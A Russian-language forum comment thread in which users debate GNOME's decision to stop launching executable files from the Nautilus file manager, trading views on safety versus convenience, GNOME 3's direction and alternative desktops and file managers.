>Нехрен проприетарщиной пользоваться. Скомпилировать - дело нескольких минут.А много ли нынче игр с открытыми исходниками?
Отлично. Ждём аналогичного поведения от всех файловых менеджеров, и они станут чисто техническим подспорьем для просмотра списка "документов" и назначения их "обработчиков".Файлы на самом деле теперь слабо подходят под концепцию контейнеров информации, так как нуждаются во внешней привязке к приложениям, которые их могут открыть - а это слабость, которую легко нарушить (Вспомните, когда вы в последний раз переустнавливали Windows NT4, когда кто-то умный задал свой "обработчик" для .exe-файла через Проводник?!). Сколько крови пролилось из-за того, что файлы имели неправильные ассоциации с приложениями, а те их портии при открытии.
Теперь же в GNOME принципиально нельзя будет запустить исполняемый файл на выполнение из файл-менеджера - то есть внутренности файла не будут решать, что они представляют исполняемый код, а не данные - хотя бы одна проблема решена в соответствии с концепцией Гарвардской архитектуры, когда данные отделены от выполняемого кода. Это победа здравого смысла над дремучестью архитектурной концепции фон Неймана. Да - изоляции данных от кода.
Что-то я проорал с новости. По ходу, скоро в Гноме уберут возможность запуска исполняемых файлов вообще. Хипстеры от мира IT не знают, что бы еще такого выдумать.
Очень забавно читать чейнджлоги гнома 2.x - огромные стены добавлений и улучшений. А потом как будто все массово помешались, что случилось то, знает кто может быть?
Я бы сказал "массовое помешательство", но здесь, скорее, массовая глупость. Помнится, перед релизом третьегнома разработчики провозгласили мобильные интерфейсы "современными" - за ними, мол, будущее. Уже тогда было ясно, что этот шаг несколько необдуман, но разработчики не нашли в себе сил признать ошибку и продолжили пилить чудо-оболочку без всего.
С другой стороны, они могут до сих пор верить, что создают инновационный интерфейс, а ошибаются именно юзеры, которые не понимают, насколько "замечателен" Gnome 3.
> А потом как будто все массово помешались, что случилось то, знает
> кто может быть?Главный разработчик сменился, ЕМНИП. Причём он ещё участвовал в разработке GNOME 3 а потом свалил в закат и всё, пошло поехало.
> Очень забавно читать чейнджлоги гнома 2.x - огромные стены добавлений и улучшений.
> А потом как будто все массово помешались, что случилось то, знает
> кто может быть?ты не выдумывай выдумок, после гнома 1.4, гном 2 был таким лютым кастратищем, что все форумы были залиты слезами, но потом довольно бвстро его допилили до состояния охрененного ДЕ. Проблема третьего в том, что его никто допиливать не собирается, все кормятся с подачек микрософта, которыми от оплачивает похороны линукса.
> Проблема третьего в том, что
> его никто допиливать не собирается, все кормятся с подачек микрософта, которыми
> от оплачивает похороны линукса.Задолбали. Нет, у меня уже стул горит. Что мешает, бажлад, перейти на Mate?! Тот же второгном и очень охренительный. Никакие молокософт вам помешать в этом не могут.
Удаление запуска в наутилусе побуждает использовать DE для запуска приложений установленных в /, т.е. из репозитория, если не рассматривать нацеленность на контейнеры. Т.е. за запуск всего скачанного мусора, теперь уже из консоли, а не из DE, вы несёте сами, а не разработчик DE. Хотя сами контейнеры это волк в овечьей шкуре.
Гном всегда был донским дном и никогда не имел четкого плана развития. Но сегодня они делают что-то совсем дикое.
пора запрещать иконки, мало ли, вдруг кто нетолерантную запилит
> пора запрещать иконки, мало ли, вдруг кто нетолерантную запилитможно заменить иконки на расширенный в очередной раз UCS, и тогда проблема толерантности даже не сможет образоваться. Плюсом будет автоматическое масштабирование под любое разрешение.
Пользуюсь SpaceFM, давно из принципа настроил так, чтобы по двойному клику файлы только открывались. А для запуска - правый клик и "выполнить"! Ибо нефиг лепить два разных действия в одно.Направление правильное, но малость перелетели.
А что об этом всем думает Линус?
А Линус в знак солидарности возможность запуска бинарников удалит из ядра.
Вот всеми копытами за.
Сегодня случайно запустил свой собственный скрипт, который правил, случайно.
Ни разу эта фича не пригодилась за кучу лет. А вот напакостить в пару кликов может.
Нужно срочно прекращать поддержку устройств ввода и сетевых карт.А то в пару кликов так можно напакостить!Голова - она не только для того,чтобы в неё есть,ага.
Причём тут голова и случайное и неосторожное действие, когда полдня пишешь и редактируешь скрипт, а тут раз и случайно его запустил.
Убери у себя в подъезде все перила и на балконе тоже - голова то есть, чтоб не упасть?
Здравый смысл где? Случайно можно много чего сделать, чтож теперь вообще не жить, дорогу не переходить, сексом не заниматься, курицу не есть? Максималисты х*еновы.Если безрукость повышенная ставишь Dolphin, в котором тебе при нажатии на исполняемый файл выдают запрос о том, что ты хочешь сделать, запустить или редактировать. Если и там боишься случайно натыкать юзаешь noexec. За вас уже все давно придумали, но не надо сочинять, что это полезное нововведение, это урезание возможности.
> Здравый смысл где? Случайно можно много чего сделатьЗдравый смысл в том, что это не должно быть в два клика
чуть что не нравится сразу в крайность, прям как дети
В 90-х годах тогдашние ретрограды на Нортон Коммандера косо смотрели и говорили - на хрена мне программа запуска других программ (оболочка дешёвая), когда я их и без него запущу - прямо из комстроки!Гномоводы на святое покусились! :-)))
Диковато, но не так уж и неправильно.
Правильное решение, в кои-то веки... :-)
Всегда было как-то нехорошо, что случайно задетый в ФМ файл может вдруг запуститься...
Тут два варианта первый - они вносят эти фичи по приколу, а потом читают openet и смеются, а второй конспирологический) Я тоже подумал что всплыла фейковая новость 1 апреля) Пользуюсь Mint пять лет